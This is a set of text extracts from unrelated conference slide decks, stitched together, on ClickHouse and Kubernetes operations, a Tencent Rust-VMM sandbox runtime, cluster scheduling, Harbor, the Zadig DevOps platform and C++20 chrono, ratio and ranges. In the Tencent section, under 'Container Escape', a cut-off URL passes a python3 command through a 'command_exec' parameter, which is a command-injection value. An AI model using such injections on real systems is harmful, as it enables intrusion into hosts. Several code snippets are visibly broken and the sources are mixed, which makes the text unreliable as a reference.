Автоматизация управления ClickHouse-кластерами в Kubernetes Владислав Клименко и Валерий Панов K8s? Что это? K8s is the new Linux Это платформа с открытым кодом. позволяющая: • строить системы на ClickHouse в Kubernetes? • Все компоненты системы уже в k8s. • Максимальная унификация управления. • Нужно быстро строить хранилища данных. • Нужна максимальная переносимость. ClickHouse в Kubernetes – это это просто? НЕ ОЧЕНЬ! Почему? Потому что ClickHouse + Kubernetes ClickHouse в Kubernetes? Что будем делать? Одна кнопка ClickHouse Оператор? Что это? • Программа, управляющая другими программами

Yingzhe Ru(@ruyingzhe), Tencent Liangyu Zhou(@choujimmy), Tencent Implement Kubernetes Runtime Based on Rust-VMM About Us Yingzhe Ru Senior Software Engineer at Tencent Working on TKEStack project in Container and Kubernetes field, promote lots of K8S production practice in Tencent Motivation https://kccncchina2018english.sched.com/event/FuLz/layers-of-isolation-in-kubernetes-tim-allclair-google gle Kubernetes has many layers of isolation, but we will focus on pod-to-pod isolation in this talk, AKA Sandbox Isolation. • Container Escape docker.vh.neargle.com:8888/?command_exec=python3 -c "import

Resource orchestration optimization of kubernetes cluster in large scale Patrickxie ( 谢谆志） Background Cloud has been the general trend. How to manage so many clusters ,resources and businesses How to ensure load balancing of cluster nodes 1 2 Improper resource requests 3 Multi-tenant resource preemption How to expand horizontally more quickly and flexibly 4 Region1 How do you manage Cluster1 Cluster2 Cluster2 … Region N … Cluster1 Cluster2 … Cluster2 Business 1 Business 2 Business 3 Business N … How to ensure load balancing of cluster nodes ？ Dynamic-Scheduler Node1 Node2 Kube-scheduler

Partners (selected) x x Main Features 6 Web Portal • Based on open source Clarity • Image operation full capabilities • Batch operations Restful API • Complete API for integration • Swagger API Supporting services Harbor Packaging Docker Kubernetes Cloud Foundry Deep dive Harbor through panel discussion! Q1: What other features harbor should provide? Q2: How does the Harbor architecture evolve evolve? Q3: How to converge management of image and chart? Q4: Is it reasonable to involve day0 operation in Harbor? Website ： https://github.com/goharbor/harbor Twitter: @Project_harbor Slack: #harbor/#harbor-dev

frequently in Clickhouse Possible Solutions 2. MySQL Engine Not suitable for big tables Not suitable for MongoDB Possible Solutions 3. Reinit whole table every day…… Possible Solutions 4. CollapsingMergeTree name flag 2 Bob1 0 id name flag 2 Bob1 1 PTS Magical Flag Read PTS Magical Flag Update PTS Magical Flag Update id name flag 2 Bob1 1 2 Bob2 0 id name flag 2 Bob1 2 2 Bob2 1 PTS Magical Magical Flag Delete PTS Magical Flag Delete id name flag 2 Bob1 2 2 Bob2 1 2 Bob2 3 id name flag 2 Bob1 2 2 Bob2 2 2 Bob2 3 PTS Magical Flag Add new column PTS Magical Flag Why fast? Clickhouse

и IP-адресов • Performance monitoring: квантили • Geospatial: geoDistance, pointInPolygon, H3, S2 ClickHouse — гибкая система 8 Web analytics Mobile app analytics Ads analytics Realtime bidding ClickHouse — доступная система 9 ClickHouse можно развернуть: • На своих серверах • В облаках; с Kubernetes • На инфраструктуре заказчика • На личном ноутбуке ClickHouse доступен под разные платформы: overflow • No issues with large packets • Better memory usage • No issues with GC and Java heap 2. Может запускаться встроенным в clickhouse-server • Нет необходимости в отдельном сервисе Разработчик:

版本归档 xN 交付追踪 xN 数据度量 xN 服务、工单管理 事件、缺陷管理 想 法 用 户 运行阶段 需求阶段 研发阶段 现代软件交付挑战：开发 5 分钟，上线 2 小时 服务一：设计 | 代码编写 | 构建 | 测试 | 部署 | 发布 服务二：设计 | 代码编写 | 构建 | 局限性大、全流程安全性低 维护成本高 支持多个服务并行构建部署、产品级发布，可灵活 安全接入多个代码仓及周边工具链 Zadig 与现存 DevOps 方案对比 来自客户的评价： 2 Zadig 产品特性 Zadig 核心特性 面向开发者的云原生环境 灵活易用的高并发工作流 高效协同的测试管理 云原生 IDE 插件（ VS CODE) 客观精准的效能洞察 强大免运维的模版库 / 跨项目共享服务 • 开发者共享环境 - 自测子环境 扫码查看 TT 语音最佳实践 面向开发者的云原生环境 扫码查看飞书集成测试案例 • 无缝对接主流测试框架 / 平台 • API/E2E/UI 自动化测试管理 • 与开发协同自动化验收 • 自动化测试效益分析 高效协同的测试管理 • 一套 YAML/Chart 模板管理数百微服务 • 每个技术栈抽象一套构建模板 • 运维统一工作流规范，开发自主使用

new class types • chrono::day • chrono::month • chrono::year • chrono::month_day • chrono::weekday • chrono::weekday_indexed • chrono::year_month_day • chrono::year_month_day_last • chrono::year_month_weekday_last days{4}; std::cout << result << "\n"; weekday sun1{0}; weekday sun2{7}; std::cout << sun1 << "\t" << sun2 << "\n"; weekday_indexed wdi{wd, 4}; // fourth Thursd ay std::cout << last_year{2020}; year_month_day ymd{this_year, October, day{28}}; std::cout << ymd << "\n"; month_weekday mwd{November, Thursday[4]}; std::cout << mwd << "\n"; month_day_last mdlast{February};

Software architect for Nikon Metrology  Microsoft VC++ MVP Since 2007  Author of Professional C++, 2nd, 3rd, 4th, and 5th Edition  Co-author of C++ Standard Library Quick Reference& C++17 Standard ratio_multiply, and ratio_divide: using r1 = ratio<1, 60>; // 1/60 using r2 = ratio<1, 30>; // 1/30 using result = ratio_add2>::type; cout << format("sum = {}/{}", result::num, result::den);// 1/20 ratio_less, ratio_less_equal, ratio_greater, and ratio_greater_equal: using res = ratio_less2, r1>; cout << format("r2 < r1: {}", res::value); // false8 Compile-Time Rational Numbers  Predefined SI type

Architect marc.gregoire@nikon.com2 Marc Grégoire  Belgium  Software architect for Nikon Metrology  Microsoft VC++ MVP Since 2007  Author of Professional C++, 2nd, 3rd and 4th Edition  5th Edition Example of chaining views: vector data { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; auto result { data | views::filter([](const auto& value) { return value % 2 == 0; })/* 2 4 6 8 10 */ | views::transform([](const onst auto& value) { return value * 2.0; })/* 4 8 12 16 20 */ | views::drop(2) /* 12 16 20 */ | views::reverse